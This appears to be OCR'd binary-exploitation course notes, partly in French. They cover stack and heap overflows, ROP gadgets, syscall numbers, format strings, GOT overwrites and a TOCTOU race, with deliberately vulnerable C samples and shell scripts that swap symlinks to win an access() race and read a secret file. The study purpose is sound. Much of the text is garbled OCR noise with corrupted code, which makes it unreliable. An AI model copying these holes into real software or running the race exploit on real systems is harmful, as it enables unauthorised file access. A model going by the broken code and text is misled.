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#include <stdio.h>
#include <stdlib.h>
#include <string.h>

$ ./vulnl-debug-strncpy AAAAAAAA
Hello AAAAAAAA, you are 18 years old !
$ ./vulnl-debug-strncpy AAAAAAAAA
Hello AAAAAAAAA, you are @ years old !

void sayhello(char *s)

{
int age = 18;
char buf[15];

strncat(buf, "Hello ", sizeof(buf)); . . AN ”
332E§E§b3f, s,e51cz)eof(buf) T(S‘tjrign(buf(\‘? }‘A} "‘Im‘\% - 1 @A
rintf("%s, %d 1d 1\n", buf, - I

: printf("%s, you are years o n uf, age) < on JS,L cun P'OC'}Q* MQQ .

int main(int argc, char **argv) {
sayhello(argv([1]);
return 0;

}
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$ man 2 execve - \'5*}
int execve(const char *pathname, char *const argv[], char *const envp[]);
$ man 2 exit ~ o — - I_'
void exit(int status);

linux-4.12/arch/x86/entry/entry_64.S:

/* Linux simplified syscall 64-bit ABI
* rax system call number = 53

* rcx return address = ...

* rdi arg0

* rsi argl = \0
* rdx arg2 = \©

*/ "A)l = @(,Oo\’

- ,\d,\\s\\"

(O~

arch/x86/syscalls/syscall_64.tbl:
# 64-bit system call numbers
# <number> <name>
[..]
59 execve
60 exit

* @C“.}“/Bimls‘\ " { 7

$ ROPgadget --binary question2
Adresse Instruction cdi = @c.o&. #{ 1 3

Oxcafebabedeae0101 : inc rax ; ret
Oxcafebabedeae010f : mov gqword ptr [rdx], rax ; ret
Oxcafebabedeae0117 : mov rdi, rax ; ret
Oxcafebabedeae0113 : mov rsi, rax ; ret
Oxcafebabedeae010b : pop rax ; ret
Oxcafebabedeae010d : pop rdx ; ret

© 00 ~NO O WN =
|
~J
ﬁfg

Oxcafebabedeae0105 : syscall
Oxcafebabedeae0107 : xor rax, rax ; ret
Oxcafebabedeae0l11lb : xor rdx, rdx ; ret

$ nm question2 | grep ’ 4’
Oxcafebabedeael108 d tuning
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B/ (RSS) ™ Var. non indtiolisées

nn ./ rmg.e&y

 0x0000665556656001

.0000886666556004.
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Inp et e S e 2]

- MoV

reg =mem [sp +4)
req: mam [SP))').

- movs ¢ (= memuf ) Sp+t

— Peawe - rsp-—-rkp} pop r‘bP

OPE.PQAAL resishe,z % rax , cyol)x
vallown unmidiade : $0x4, $123456
sedion da donmaes : .L;j’te_, Oxa.o.o./ wod Osd?.&, .asat “teto”

Pl‘e,clsim ’m?ﬂm opiMA\ALI MOSL /PoPcl [L wpca

mov 2 (%ed, Zc10,4) % 3 ~ mem[L+ rB + r10x ) = mem(:9]
memset (@, 0, 0x46) ~ mam [8)=0O  sun 16 odefs

o\ijmm : PQ'.O\A.Q(\I\MLMM\* VCU-kOLQJA /’:o'm\'uuo, CONOMLD,

.s\ou.\L Non exe.u&a\o&., clil‘!é\um c\.o_ \Ju? PGI\OJ\D\%SQ. S'}ausfiﬁue..

# include <stdio.h>
# include <stiring.h>

extern char buf[0x10];
extern int authenticated;

int main(int argc, char *argv([]) {
printf ("Please enter password:\n");
scanf("%s", buf);
10 if (strcmp(buf, "cOOlsecret") == 0) {
11 authenticated = 1;
12 }
13 if (authenticated) {
14 printf ("Congrats you have the right password\n");
15 } else {
16 printf("You have failed miserably\n");
17 }
18 }
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Inbgje/\ ovexS’Qouus :
signed (rebdive) infegers are enceded as Pollows :
ne [ aN [ = -bn 22 b

<= Y. n i b,.>0 A-b = 442" b = a-b [2.~]

Founat .s‘lr'm.gs e.)‘&o\tm - dota Peck
Pri!\"‘g (v %f %x... Yos”) Pr‘«\*‘g(“ 3¢ 7% 5")
1: RDT; L:RST; 3:RDX; 4: RCX; 5: RB; 6:RJ; F:RID;8: RSP+3, T RSP+ 16
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#define BUFSIZE 16

int main(int argc, char * argv(])

{
char *bufl = (char *)malloc(BUFSIZE);
char *buf2 = (char *)malloc(BUFSIZE);
memset (bufl, ’A’, BUFSIZE-1);
buf1 [BUFSIZE-1] = ’\0’;
memset (buf2, ’B’, BUFSIZE-1);

buf2[BUFSIZE-1] = ’\0’;
strcpy(bufl,argv[i]);

free(bufi);
free(buf2);

return 0;

GOT: Glbal OYet Tobbi
L*'}:LLQL on vamoine otibic par bo ELF qui fmf A
dynamic. Lioking "
L b an gl . oo d B B . ), gyl

oo BT ot b GOT Puil e.a. l‘mJu.c}fm
P ) éc&mw\g; amaire_ @
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b‘g 2 SHELLCODE
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@ PUTS |@PULTS PLUTS |@NRwdh®

struct truc

¢ char buf1[16]; u é.ff\w\u\.* G’OT @

char buf2[16];

o @Lo\.sciue_ b Pregramma_  va. a'olp-nQaA

int main(int argc,

: char * argv[]) PUTS ,Csa Vol execnten Qa_ SHE\_LC.OIDE,
struct truc p; _\:7’:*.3 + P‘V\f\"'} .

printf("bufl : %p - buf2 : %p - ptr : %p\n",p.bufl,p.buf2,&p.ptr);
if (argc < 3) exit(-1);

printf ("%p\n",p.ptr);
strcpy(p.bufl,argv([1]) ;@
printf ("%p\n",p.ptr);
strcpy (p.ptr,argv[2]);
printf ("%s\n",p.buf2);
return(0);

}
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1f (param_1 < 2)

printf( '1‘v n\tPrints file i1f you have 2ss to 1t\n",*param_2)
* WARNING: Subroutine does nut return *
exit(l);
} * .
= (char *)param 2[1]:; . OGJJL
gettimeofday (& ,(__ _timezone ptr_t)Ox0); oL o O-
= access((char ')[vH am 2[1).4); Q Q.
1f ( == 0) { )\lm '
for ( = 0; < 1f =
}
gettimeofday (& ., (__timezone_ptr_t)ox0)
= open( ,0):;
if ( == -1) {
puts(“Unable to open file"):
* WARNING: Subroutine does not return *
exit(l);
}
= read/( , , 0x1000) ;
1if ((int) == -1) {
= __errno_location();
= strerror(* );
printf("Unable to read from file: %s\n", )
* WARNING: Subroutine does not return *
9)(11(1);'
}
puts( ) ;
printf(*"Vulnerable time interval %ld microsec\n",
( .tv_sec .tv_sec) * 1000000 +
( .tv_usec - .tv_usec));
}
else {
printf(“"You don\'t have access to %s\n", );
}

- $ cat test.sh
touch public_file
while true; do
ln -sf public_file lien
ln -sf secret lien
done

$ cat test2.sh

while true; do

./race lien >> sortie
done

$ cat sortie | grep Mig
liore est post-quantique
liore est post-quantique
liore est post-quantique
liore est post-quantique
liore est post-quantique

Vincent
Vincent
Vincent
Vincent
Vincent

Secret
Secret
Secret
Secret
Secret




